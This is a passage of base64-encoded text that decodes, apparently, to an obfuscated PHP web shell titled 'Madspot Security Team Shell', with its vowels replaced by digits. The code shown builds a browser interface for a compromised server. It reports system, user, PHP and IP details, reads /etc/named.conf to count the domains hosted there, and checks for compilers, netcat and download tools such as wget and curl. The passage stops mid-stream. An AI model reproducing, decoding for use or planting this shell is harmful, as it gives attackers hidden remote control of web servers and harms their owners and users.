iA9ICQzNGRbJ24xbTUnXTsNCgkJJDM0ZCA9ICQzNGRbJzM0ZCddOw0KCQkkZ3IyM3AgPSAkZzRkWyduMW01J107DQoJCSRnNGQgPSAkZzRkWydnNGQnXTsNCgl9DQoNCg0KICAgICAkY3dkX2w0bmtzID0gJyc7DQoJJHAxdGggPSA1eHBsMmQ1KCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkkbj1jMjNudCgkcDF0aCk7DQoJZjJyKCQ0PTA7ICQ0PCRuLTY7ICQ0KyspIHsNCgkJJGN3ZF9sNG5rcyAuPSAiPDEgIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLFwiIjsNCgkJZjJyKCRqPTA7ICRqPD0kNDsgJGorKykNCgkJCSRjd2RfbDRua3MgLj0gJHAxdGhbJGpdLicvJzsNCgkJJGN3ZF9sNG5rcyAuPSAiXCIpJz4iLiRwMXRoWyQ0XS4iLzwvMT4iOw0KCX0NCg0KJGRyNHY1cyA9ICIiOw0KZjJyNTFjaChyMW5nNSgnYycsJ3onKSAxcyAkZHI0djUpDQo0Zig0c19kNHIoJGRyNHY1Lic6XFwnKSkNCiRkcjR2NXMgLj0gJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJy4kZHI0djUuJzovXCcpIj5bICcuJGRyNHY1LicgXTwvMT4gJzsNCg0KDQoNCg0KDQogNWNoMiAnPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9Xb0MvL0RURCBYSFRNTCA2LjAgVHIxbnM0dDQybjFsLy9FTiIgImh0dHA6Ly93d3cud28uMnJnL1RSL3hodG1sNi9EVEQveGh0bWw2LXRyMW5zNHQ0Mm4xbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cud28uMnJnLzY5OTkveGh0bWwiPg0KPGg1MWQ+DQo8bTV0MSBodHRwLTVxMzR2PSJDMm50NW50LVR5cDUiIGMybnQ1bnQ9InQ1eHQvaHRtbDsgY2gxcnM1dD0zdGYtOCIgLz4NCjxsNG5rIGhyNWY9Imh0dHA6Ly93d3cubTFkc3AydC5uNXQvZjF2NGMybi40YzIiIHI1bD0iNGMybiIgdHlwNT0iNG0xZzUveC00YzJuIi8+DQo8dDR0bDU+TTFkc3AydCBTNWMzcjR0eSBUNTFtIFNoNWxsPC90NHRsNT4NCjxzdHlsNSB0eXA1PSJ0NXh0L2NzcyI+DQo8IS0tDQoud2gybDUgew0KCWIxY2tncjIzbmQtYzJsMnI6ICNDQ0M7DQoJaDU0Z2h0OjEzdDI7DQoJdzRkdGg6IDEzdDI7DQoJbTFyZzRuLXQycDogNjBweDsNCgltMXJnNG4tcjRnaHQ6IDYwcHg7DQoJbTFyZzRuLWw1ZnQ6IDYwcHg7DQp9DQouaDUxZDVyIHsNCgloNTRnaHQ6IDEzdDI7DQoJdzRkdGg6IDEzdDI7DQoJYjJyZDVyOiA3cHggczJsNGQgI0NDQzsNCgljMmwycjogIzk5OTsNCglmMm50LXM0ejU6IDZhcHg7DQoJZjJudC1mMW00bHk6IFY1cmQxbjEsIEc1bjV2MSwgczFucy1zNXI0ZjsNCgliMWNrZ3IyM25kLWMybDJyOiAjMDAwOw0KfQ0KLmg1MWQ1ciAxIHtjMmwycjojMEYwOyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTt9DQpzcDFuIHsNCglmMm50LXc1NGdodDogYjJsZDVyOw0KCWMybDJyOiAjRkZGOw0KfQ0KI201M25sNHN0IHsNCglmMm50LWYxbTRseTogVjVyZDFuMSwgRzVuNXYxLCBzMW5zLXM1cjRmOw0KCWMybDJyOiAjRkZGOw0KCWIxY2tncjIzbmQtYzJsMnI6ICMwMDA7DQoJdzRkdGg6IDEzdDI7DQoJYjJyZDVyLXI0Z2h0LXc0ZHRoOiA3cHg7DQoJYjJyZDVyLWw1ZnQtdzRkdGg6IDdweDsNCgliMnJkNXItdDJwLXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItcjRnaHQtc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1iMnR0Mm0tc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1sNWZ0LXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItdDJwLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1yNGdodC1jMmwycjogI0NDQzsNCgliMnJkNXItYjJ0dDJtLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1sNWZ0LWMybDJyOiAjQ0NDOw0KCWg1NGdodDogMTN0MjsNCglmMm50LXM0ejU6IDZhcHg7DQoJZjJudC13NTRnaHQ6IGIybGQ7DQoJYjJyZDVyLXQycC13NGR0aDogMHB4Ow0KfQ0KICAud2gybDUgI201M25sNHN0IDNsIHsNCglwMWRkNG5nLXQycDogaXB4Ow0KCXAxZGQ0bmctcjRnaHQ6IGlweDsNCglwMWRkNG5nLWIydHQybTogN3B4Ow0KCXAxZGQ0bmctbDVmdDogYXB4Ow0KCXQ1eHQtMWw0Z246YzVudDVyOw0KCWw0c3Qtc3R5bDUtdHlwNTogbjJuNTsNCgltMXJnNG46IDBweDsNCn0NCiAgLndoMmw1ICNtNTNubDRzdCBsNCB7DQoJbTFyZzRuOiAwcHg7DQoJcDFkZDRuZzogMHB4Ow0KCWQ0c3BsMXk6IDRubDRuNTsNCn0NCiAgLndoMmw1ICNtNTNubDRzdCAxIHsNCiAgICBmMm50LWYxbTRseTogMXI0MWwsIHMxbnMtczVyNGY7DQoJZjJudC1zNHo1OiA2dXB4Ow0KCXQ1eHQtZDVjMnIxdDQybjpuMm41Ow0KCWYybnQtdzU0Z2h0OiBiMmxkOw0KCWMybDJyOiAjZmZmOw0KCWNsNTFyOiBiMnRoOw0KCXc0ZHRoOiA2MDBweDsNCgltMXJnNG4tcjRnaHQ6IC1lcHg7DQoJcDFkZDRuZy10MnA6IG9weDsNCglwMWRkNG5nLXI0Z2h0OiA2aXB4Ow0KCXAxZGQ0bmctYjJ0dDJtOiBvcHg7DQoJcDFkZDRuZy1sNWZ0OiA2aXB4Ow0KCWIycmQ1ci1yNGdodC13NGR0aDogNnB4Ow0KCWIycmQ1ci1yNGdodC1zdHlsNTogczJsNGQ7DQoJYjJyZDVyLXI0Z2h0LWMybDJyOiAjRkZGOw0KfQ0KICAud2gybDUgI201M25sNHN0IDE6aDJ2NXIgew0KCWMybDJyOiAjMDAwOw0KCWIxY2tncjIzbmQ6ICNmZmY7DQp9DQoNCi5mMjJ0IHsNCglmMm50LWYxbTRseTogVjVyZDFuMSwgRzVuNXYxLCBzMW5zLXM1cjRmOw0KCWIxY2tncjIzbmQtYzJsMnI6ICMwMDA7DQoJbTFyZzRuOiAwcHg7DQoJcDFkZDRuZzogMHB4Ow0KCXc0ZHRoOiA2MDAlOw0KCXQ1eHQtMWw0Z246IGM1bnQ1cjsNCglmMm50LXM0ejU6IDZhcHg7DQoJYzJsMnI6ICNDQ0M7DQoJYjJyZDVyLXI0Z2h0LXc0ZHRoOiA3cHg7DQoJYjJyZDVyLWw1ZnQtdzRkdGg6IDdweDsNCiAgICBiMnJkNXItYjJ0dDJtLXc0ZHRoOiA3cHg7DQogICAgYjJyZDVyLWIydHQybS1zdHlsNTogczJsNGQ7DQogICAgYjJyZDVyLXI0Z2h0LXN0eWw1OiBzMmw0ZDsNCiAgICBiMnJkNXItcjRnaHQtc3R5bDU6IHMybDRkOw0KCWIycmQ1ci1sNWZ0LXN0eWw1OiBzMmw0ZDsNCgliMnJkNXItdDJwLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1yNGdodC1jMmwycjogI0NDQzsNCgliMnJkNXItYjJ0dDJtLWMybDJyOiAjQ0NDOw0KCWIycmQ1ci1sNWZ0LWMybDJyOiAjQ0NDOw0KfSc7DQo0Zig0c193cjR0MWJsNSgkR0xPQkFMU1snY3dkJ10pKQ0KIHsNCiAgICA1Y2gyICIuZjIydHQxYmw1IHsNCiAgICB3NGR0aDogbzAwcHg7DQogICAgZjJudC13NTRnaHQ6IGIybGQ7DQogICAgfSI7fQ0KICAgIDVsczUNCiAgICB7DQogICAgICAgNWNoMiAiLmYyMnR0MWJsNSB7DQogICAgdzRkdGg6IG8wMHB4Ow0KICAgIGYybnQtdzU0Z2h0OiBiMmxkOw0KICAgIGIxY2tncjIzbmQtYzJsMnI6cjVkOw0KICAgIH0NCiAgICAuZDRyIHsNCiAgICAgIGIxY2tncjIzbmQtYzJsMnI6cjVkOyAgDQogICAgfQ0KICAgICI7IA0KICAgIH0gICAgDQogNWNoMiAnLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O30NCiAubTE0biAxe2MybDJyOiAjRkZGO30NCiAubTE0biB0cjpoMnY1cntiMWNrZ3IyM25kLWMybDJyOnI1ZDt9DQogLm1sNnsgYjJyZDVyOjZweCBzMmw0ZCAjdXV1O3AxZGQ0bmc6aXB4O20xcmc0bjowOzJ2NXJmbDJ3OiAxM3QyOyB9DQogLmI0ZzFyNTF7IHc0ZHRoOjk5JTsgaDU0Z2h0Om8wMHB4OyB9ICAgDQogIDwvc3R5bDU+DQoNCic7DQoNCjVjaDIgIjxzY3I0cHQ+DQogICAgdjFyIGNfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgICB2MXIgY2gxcnM1dF8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnY2gxcnM1dCddKSAuIic7DQogICAgdjFyIHA2XyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncDYnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBwYV8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3BhJ10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcG9fID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwbyddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwbyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIGQgPSBkMmMzbTVudDsNCglmM25jdDQybiBzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJNGYoMSE9bjNsbClkLm1mLjEudjFsMzU9MTs1bHM1IGQubWYuMS52MWwzNT0xXzsNCgkJNGYoYyE9bjNsbClkLm1mLmMudjFsMzU9Yzs1bHM1IGQubWYuYy52MWwzNT1jXzsNCgkJNGYocDYhPW4zbGwpZC5tZi5wNi52MWwzNT1wNjs1bHM1IGQubWYucDYudjFsMzU9cDZfOw0KCQk0ZihwYSE9bjNsbClkLm1mLnBhLnYxbDM1PXBhOzVsczUgZC5tZi5wYS52MWwzNT1wYV87DQoJCTRmKHBvIT1uM2xsKWQubWYucG8udjFsMzU9cG87NWxzNSBkLm1mLnBvLnYxbDM1PXBvXzsNCgkJNGYoY2gxcnM1dCE9bjNsbClkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dDs1bHM1IGQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0XzsNCgl9DQoJZjNuY3Q0Mm4gZygxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQlzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KCQlkLm1mLnMzYm00dCgpOw0KCX08L3NjcjRwdD4iOw0KDQogICAgDQoJNWNoMiAnDQo8L2g1MWQ+DQoNCjxiMmR5IGJnYzJsMnI9IiMwMDAwMDAiICBsNWZ0bTFyZzRuPSIwIiB0MnBtMXJnNG49IjAiIG0xcmc0bnc0ZHRoPSIwIiBtMXJnNG5oNTRnaHQ9IjAiPg0KPGQ0diBjbDFzcz0id2gybDUiPg0KPGYycm0gbTV0aDJkPXAyc3QgbjFtNT1tZiBzdHlsNT0iZDRzcGwxeTpuMm41OyI+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Yz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2Pg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wbz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+DQo8L2Yycm0+DQogIDxkNHYgY2wxc3M9Img1MWQ1ciI+PHQxYmw1IHc0ZHRoPSI2MDAlIiBiMnJkNXI9IjAiICAxbDRnbj0ibDRmdCI+DQogIDx0cj4NCiAgICA8dGQgdzRkdGg9Im8lIj48c3Axbj5VbjFtNTo8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy5zM2JzdHIoQHBocF8zbjFtNSgpLCAwLCA2YTApLic8L3RkPg0KICAgIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+VXM1cjo8L3NwMW4+PC90ZD4NCiAgICA8dGQ+Jy4gJDM0ZCAuICcgWyAnIC4gJDNzNXIgLiAnIF0gPHNwMW4+ICAgR3IyM3A6IDwvc3Axbj4nIC4gJGc0ZCAuICcgWyAnIC4gJGdyMjNwIC4gJyBdIDwvdGQ+DQogICAgPHRkIHc0ZHRoPSI2dSUiIHIyd3NwMW49IjgiPjw0bWcgMWx0PSIiIHNyYz0iZDF0MTo0bTFnNS9qcDVnO2IxczVldSwvOWovdUFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvYXdDRUFCRU1EUThOQ3hFUERnOFRFaEVWRzRzY0doZ1lHalVtS0I4clB6ZENRVHVvUER0RlRtTlVSVWw1U3pzOFZuWlhYbWRxYm9CdlE2TmVnb2xzZ21OdGJhc0JFaE1UR2hjMU14d2NNYXRIUEVkcjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxYXRyMWF0cjFhdHIxLy9BQUJFSUFJOEFqd01CRVFBQ0VRRURFUUgveEFHNEFBQUJCUUVCQVFFQkFRQUFBQUFBQUFBQUFRSURCQVVHQndnSkNnc1FBQUlCQXdNQ0JBTUZCUVFFQUFBQmZRRUNBd0FFRVFVU0lURkJCaE5SWVFjNGNSUXlnWkdoQ0NOQ3NjRVZVdEh3SkRONGMySUpDaFlYR0JrMUpTWW5LQ2txTkRVYU56Z2lPa05FUlVaSFNFbEtVNlJWVmxkWVdWcGpaR1ZtWmFocDFuTjBkWFpvNUhsZWd1U0ZoMjVJNFlxU2tpU1ZscDVZbVpxNDJlU2xwcTUycTFxeXM3UzZ0cjV1M2JyQ3c4VEZ4c2ZJeWNyUzA5VFY2dGZZYWRyaHUzUGtpNWJuZU9ucThmTHo5UFhhOS9qaStnRUFBd0VCQVFFQkFRRUJBUUFBQUFBQUFBRUNBd1FGQmdjSUNRMkxFUUFDQVFJRUJBTUVCd1VFQkFBQkFuY0FBUUlERVFRRklURUdFa0ZSQmFGeEV5SXlnUWdVUXBHaHNjRUpJek5TOEJWNGN0RUtGNFEwdVNYeEZ4Z1pHNFluS0NrcU5UWW9PRGtlUTBSRlJrZElTVXBUVkZWV1Y2aFpXbU5rWldabjFHbHFjb1I2ZG5kdTVYcUNndVNGaDI1STRZcVNraVNWbHA1WW1acTQyZVNscHE1MnExcXlzN1M2dHI1dTNickN3OFRGeHNmSXljclMwOVRWNnRmWWFkcjR1K1RsaTNmMmU1cnk4L1Q2OXZmdStmci9hZ0FNQXdFQUFoRURFUUEvQU9PdExKcmtGdGE2UldjZW5LWlZLNGdXdjdJL2ViZnBXYnIrUmg5MVhZUDdJSC9QYjlLWHQvSWY2bE43Rm1Qd3V6MkdNdUc1eEZaeXg0WFF0VnZJamJ3aWNqN3NzWi9NVlN4Y0MvMTJ6THE2bHRKZkxtWERWMHdtcEtlTGpKUFlZRUFIem5GVVVHYVArOGZ5MkFBc2Y5dS9sUUJJTGJQUW1nQkd0WkFNZ1pGQUVCR0RRQjVqMHlXU01QM1VaaXcxeWRXS1pqS3ZHTEhmYVROL2ZTbDdaR2Y2cUlEU1pqMFpjbWtlOFVOWW1MWllIaGE3SXozakh1NkR4Y0RUYXFBK0hic0FrTkdmMjExeFVHSHRVWmM4THdTR09RWVlWMFJrcEtlTkU3cWlzZVlBTEpDT2lPMWlLb3hIbnVsKy9ZdDZrY3dpT1dVNTlKN0RqM2JIUzNLV3JPeEpCVWo5VEc4UkluYWRYS2czQ0FEK041aGdtOVUxMGptWkQrOGJlNmVKM00yQWtoLzZxMEFYbGUwQVRMUUJRM3dFM2pnZDNsQUc3R01SSVBZVmk4dFc1VFZmdk1kU015NXpBTnczUldjN2FMcDdtblhJZFlVa0lpVHhKL3lFQi8zQ3Zad284TkhUUytFczFkL3hpUi9qL09zcXZ4c3VjVDhaWnJNaWh5ZmZYZTRsTHVTMjdteFhDOXpzUVVETWJ4R1I5bmpIcXdyME1INk4xUnpNbitzYmU2ZUIzTTJBa2cvNnEwQVhrMkFtV2dDamZmOEFIeitBMkFvSXY5VW4rZUt1SmJua1ZQNFllcE15eFpmOGZDL1E2blVhTjFXaXBWeG5VRk1EbGZFdi9JUVgvY3I2OEwvRE80bjhKUHBvL0hsSCtQOEFPc2V2eHN1Y1Q4WlpyTWloeWZmWGU0bEx1UzI3bXhYQzl6c1FVaG1IdWsrN0NmNXZSd1hVNnBIT1MvZXh2clgyR3V5Z0NTRC9BRnEwQVhsMkFtV2dDamZmOGZYdUNnRGJoaWdqL3dCMGZ5cmdsMzVSVitKamVrekxGbC94OEw5RFdkVFk2cGJtbFhHZFFVd09WOFMvOGhCZjl5dlh3djhBRE80bjhKTnBwLzBKUHgvblVWdmpPSEUvR1dxeU9ZY25vNit0VExZcU9pc1Z4U29PeEJTOGdNVHhIL3Eydjl1VmVPRDAzYlVqbWlmOVlvNnIwRGNaUUJKQi9yVjJBdkxRQk10QUZHKy91K3Z3RkFHb0IvcUl2OXdmeXJnbjhSaU5YdWFQcWJtUllzditQZ2ZRNm5VYU5LNWlwVnhuV0ZNR2NydWwvd0NRZ3Y4QTNWZStGL2huUlMrRWdzcjliNVB5b1VrRHA0cnFVK1pvSXEwNWZVdGpWTGNqbmNEOUt5OWpJaS9xcnYzSDlwYW9xL2lVNXdrUGVxMHlhbjRHb1ZBR1ZtSTd1eFdMd2ttMXFrMEI4U1FkMlh6OTFQcVQ3ajlreko2SFVtdnBsWWoxNDlCWFhSMnFtckdzSThwWGtnTEVzcEJCaXptdDR4bmtQN2ZuUUFxdzNyQThjVUFXbFlEcURRQklzNCtoSkZBRktlZk1hdS81N3U3VUExRnBxRUloVlpHS2xRQjBybm5TMzlEa3F1Zm1kMFQvQU4yV28vUFQ5S3o5akl5K3JTSEpxZDNqaGxsaUh0U2RDVFF1dTVTWmNHdldtT1NjKzZZZlZKR3lweUVmWDdSVUpYSlBwVFdEbDZHcVQzYzdxTnViYWlNcEdCakFGNWhUaHlSc2JSVmtUZWIxSk4za2xHaVJ3RnpVNktqajJqS3RWaUVYaFlXMi93Q1dRL09zUDF6T1hleklYN0IxL3dEUElmbTFQMXpEZXpJdHcxSjFQR0hkTVo3QTZoTEZUVE5sVmt5VCt3ckwrdWZ6cWZyY3luVVpsMXpwc1ZuR0hqR0FUeFhaUXJPMnRUU25QbUk3T3hqMU5Ya1VuSXpUcVZXdEVaVjE3NDdJdGZZYmIvbmwrcHJQYXN6RGV6TUJwOXNUZ1JjL1Uwbldta05ZNFRMeWVGWjdSM1VpN3VOWXZGVE5sVmtML1lWbGo3cmZuVS9XaWo5cXpBNk8wUzZ2QkMyd09QMjE5Q2xQbmhjYWhMbVZ5cExzRGtLM0JtdFN4bVIvZDJBVlFHWUFMeTFBTEtheUhybk5BRHpaSVI4cE8xQUtVNEdOeXJkUlFCcmVSL3g3dC92Vnk2LzRPSEY3MnY2Z2NRR2t4cmNhSS84QVZyOUt1cGJuWkhZZFVqTVh4Ti94aXgvNzZkK0NvWnJTb0lyVC9qNjQvd0IwVnBQdW1jVmZ1YVM2R2k0U1cvOEFydS9yVVNhTGgzMTZjVE94YkJSMkxjaXZ4SVA5TGhONXJnL2dPNGxzWWtub2ErdGRocU0yQWx0LzlaK0ZBRjZLQUpsMkEyWC9BUHg4SGVDZ0RRMGovam9iZTZ5Ni80T0hGYjJ2NmdjUUhwU1l1N214SC9xNitncjRsM2RrZGg2U1VZdjRiL2owai9vcTdzRjhUTjFXaUYxLzg1c1grZUs2bjhUT0d2OEFHUzZCNFNXLyt2ait0VFB1U3VibXRYQ2RnVXdPZDhTWSswUTV0NXBnL2dadlNhTUtUL1dOOTE3VFVaU0FsdC85WitGQUY2S0FKbDJBMmVnZm8rUFlVQTFPbERGbURlazZ5VnY0T0RGYjIzNjRjWWRxVEhIY2FJLzlXdjByNGwzZHNkaDZJWjQrSnY4QWowai9BTmUzb0JmRXpTbDNSV3YvQUJleGY3MnJXZnhNdXEveGt0UVlrbHYvQUsrUGU2TS9oTGgzMTZjSmFCVEFpenhKL3dBZk1GNXBnL2dadlNhTU9UL1dIZTZhbTJ5a0JMYi9BT3MvQ2dDZXRBRXkwQVVML3dEdStQd0ZBR2pwTGdheFQzcGlybHJwbzNjT0tXcVo1ckF1dzdVbnNDb041TG1KU1BTM0s1aWFSYUg2SlI0K0p2OEFqMGpIZmRYZmdyb1pwU29JclQvajY0L29SV2xUdW1jVmZ1YVM2QjRTVy9FeUU5TTZFcjhwY1A0TjEzTmVIV0ZJYk9kOFNEL1NZVCtGNXJnNjczcHZTYU1LWC9XTjkxN0RVWlFCSkFmb2cyQXZMUUJNdEFGQy9PYmdqMEEyQVMwM1d0cE55amNDTUVWTTJLU3NST0Ntck10dHEwbjFJQ3N2WTJ4K3JSQmRXay80alUwNXc0TGV0RXN4K0lINFgxc1J4N21zb2hJc3BVRTMyLzhBdVNTVC9uNEtYNlNQY3JhU00vVU5SNTlQS3UrcHI1blRVRjIxUjRrT3RyZVdKRlh5ZHdBd09hMWNxMVpFZU1aMWsvOEExVC84K3gvT3MvWUwzWmZWMjRIVmNIQmdJUDYyOWdnV0dTTENlL2NBQUNESUhyV2Y2U0xMVkZEanI4aVVqN1BndXVOQ3drZDdqOWtqSnZMM1d1bEJjRUFISUJycGhCUlZrMXFLU0ErWElOYXh3U09nSEZXTVppU2ZvWC9LZ0JmTFFkRmY4cUFKUklSYWIvdm1nQlRjTXFuQVlmOEFBMUFLTHNYWXM1cDJBQnh6UUEzOXZXZ0JRekVnWjJBM0k0Z0FFWlB2UUJLczFIK0FVQVF6YWVDUk1jWkkvblFCRmN5TmlyQUhBQndCUUJCaWpmb2pRQWlXZG1Bb0htZ0N1NGoyUm1nQ1ZVUTlWMkFqblFDSXFSbjFRVko5RGEyQXFTeU52SXowOUtBSS9NYis4MUFIeGxuY0RjMUFMMTJ2cFFCS0kwUEJVYzBBWjl6SGlVekxhN1VBUjlxQUUyQWRIOTlmclFCZldnQ1oxQUdYSCtzNCsyL25RQlEzZjk1LzZOQUVWQUR1ZjlZdjYyQXZMUUJNbEFETG43ai9BUEFmaTBBWnNuK3NQNjJBYlFCTGIvZXo4S0FMcTBBU3JRQlI2RC9qdXo3Q2dDMzFBRTJBY25vNit0QUY5NXRBRXkwQU0zUHZ4ZlVmejJBMlhQOEFybytwMkE0MkFmRC9BSzYxQUx5MEFUTFFBeXUrdS84QXdIK2RBR2JKOTl2clFBYWdDV0QvQUZudVVBWFYyQW1XZ0NqcUgrdi9BQTJBckdnQktBSEo5OWZyUUJmV2dDWjFBR1hIb3V2cVBpMEFVTG4vQUY3L0FGTkFFVkFEdWY4QVdyUUJmV2dDVjFBR1hIb0gvd0NBL3dBZUFNYVQ3N2ZXZ0J0QUVzSCtzL0NnQ2V0QUV5MEFVZFFQNy9Ic0tBS28xZ0JLQUZVdVlHZ0Mrbkl5T2xBRWU0Z0NLaWRWZE1rZktSbjhlQUtWeGhwV1lkQ2NpMkE0MkFmR2RycTFBTGU1NkFFcWQxQUk3Z2p5b091RGxSNmUwQVo4MnhJZnJRQXlnQ1NFaFpBVDAyQXZMUUJLT0JrOFVBWjZhdWtuWXIwZVVBUTBBRzFBRkJJMkFjSlhIUnNVQUxpOHY5ODBBTVo0eHl4elFBcTNWZVVBTzgwL29WL0tnQTgwL3dCNmZ5MkFVWERqcGdVQUw5cGs5MUFJb2MzY21nQndtWUFBZ0hIcUtBRHpUL2RYOHFBRHpUL2RYOHFBRiswUGF3S0FHdEs3REJZdTJBWlFCLy9aIiAvPjwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+UEhQOjwvc3Axbj48L3RkPg0KICAgIDx0ZD4nLkBwaHB2NXJzNDJuKCkuICcgICA8c3Axbj4gICBTMWY1IE0yZDU6Jy4kczFmNV9tMmQ1cy4nPC9zcDFuPjwvdGQ+DQogICAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZD48c3Axbj5PM3IgSVA6PC9zcDFuPjwvdGQ+DQogICAgPHRkPicuQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdLicgICAgPHNwMW4+UzVydjVyIElQOjwvc3Axbj4gJy5AJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uJzwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+V0VCUzo8L3NwMW4+PC90ZD4NCiAgICA8dGQgdzRkdGg9IjdlJSI+JzsNCiAgICANCiAgICA0ZigkR0xPQkFMU1snc3lzJ109PSczbjR4JykNCiAgICB7DQogICAgICAgICRkMG0xNG5zID0gQGY0bDUoIi81dGMvbjFtNWQuYzJuZiIpOw0KICAgICAgICA0ZighJGQwbTE0bnMpDQogICAgICAgIHsNCiAgICAgICAgICAgIDVjaDIgIkNBTlQgUkVBRCBuMW01ZC5jMm5mIjsNCiAgICAgICAgfQ0KICAgICAgICA1bHM1DQogICAgICAgIHsNCiAgICAgICAgICAkYzIzbnQ7ICANCiAgICAgICAgIGYycjUxY2goJGQwbTE0bnMgMXMgJGQwbTE0bikNCiAgICAgICAgIHsNCiAgICAgICAgICA0ZihANXI1ZygiejJuNSIsJGQwbTE0bikpDQogICAgICAgICAgew0KICAgICAgICAgIHByNWdfbTF0Y2hfMWxsKCcjejJuNSAiKC4qKSIjJywgJGQwbTE0biwgJGQybTE0bnMpOw0KICAgICAgICAgICBmbDNzaCgpOw0KICAgICAgICAgIDRmKHN0cmw1bih0cjRtKCRkMm0xNG5zWzZdWzBdKSkgPiBhKXsNCiAgICAgICAgIGZsM3NoKCk7DQogICAgICAgICAkYzIzbnQrKzsNCiAgICAgICAgICAgfSANCiAgICAgICAgICAgfQ0KICAgICAgICAgICB9DQogICAgICAgICAgIDVjaDIgIiRjMjNudCAgRDJtMTRucyI7DQogICAgICAgIH0NCiAgICB9DQogICAgNWxzNXsgNWNoMiJDQU5UIFJFQUQgfFc0bmQyd3N8Ijt9DQogICAgDQogICAgICA1Y2gyICc8L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIj48c3Axbj5IREQ6PC9zcDFuPjwvdGQ+DQogICAgPHRkPicubTFkUzR6NSgkdDJ0MWxTcDFjNSkuJyA8c3Axbj5GcjU1Ojwvc3Axbj4nIC4gbTFkUzR6NSgkZnI1NVNwMWM1KSAuICcgWycuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJV08L3RkPg0KICAgIDwvdHI+JzsNCiAgDQogICAgIDRmKCRHTE9CQUxTWydzeXMnXT09JzNuNHgnICkNCnsNCiAgICA0ZighQDRuNF9nNXQoJ3MxZjVfbTJkNScpKQ0KICAgIHsNCiAgICANCiAgICA1Y2gyICc8dHI+PHRkIGg1NGdodD0iNjgiIGMybHNwMW49ImEiPjxzcDFuPlVzNWYzbCA6IDwvc3Axbj4nOw0KICAgICQzczVyZjNsID0gMXJyMXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtMWs1JywncGhwJywncDVybCcsJ3B5dGgybicsJ3IzYnknLCd0MXInLCdnejRwJywnYno0cCcsJ2J6NHBhJywnbmMnLCdsMmMxdDUnLCdzMzRkcDVybCcpOw0KICAgICBmMnI1MWNoKCQzczVyZjNsIDFzICQ0dDVtKQ0KICAgICAgICAgNGYobTFkV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgNWNoMiAkNHQ1bS4nLCc7DQogICAgICAgICA1Y2gyICc8L3RkPg0KICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+DQogICAgICAgICAgPHRkIGg1NGdodD0iMCIgYzJsc3Axbj0iYSI+PHNwMW4+RDJ3bmwyMWQ1cjo8L3NwMW4+JzsNCiAgICAgICAgIA0KICAgICAkZDJ3bmwyMWQ1cnMgPSAxcnIxeSgnd2c1dCcsJ2Y1dGNoJywnbHlueCcsJ2w0bmtzJywnYzNybCcsJ2c1dCcsJ2x3cC1tNHJyMnInKTsNCiAgICAgIGYycjUxY2goJGQyd25sMjFkNXJzIDFzICQ0dDVtYSkNCiAgICAgICA0ZihtMWRXaDRjaCgkNHQ1bWEpKQ0KICAgICAgICA1Y2gyICQ0dDVtYS4nLCc7DQogICAgICAgIDVjaDIgJzwvdGQ+DQogICAgICAgICAgICAgIDwvdHI+JzsNCiAgICAgICAgIA0KICAgICAgICAgIH0NCiAgICAgICAgICAgNW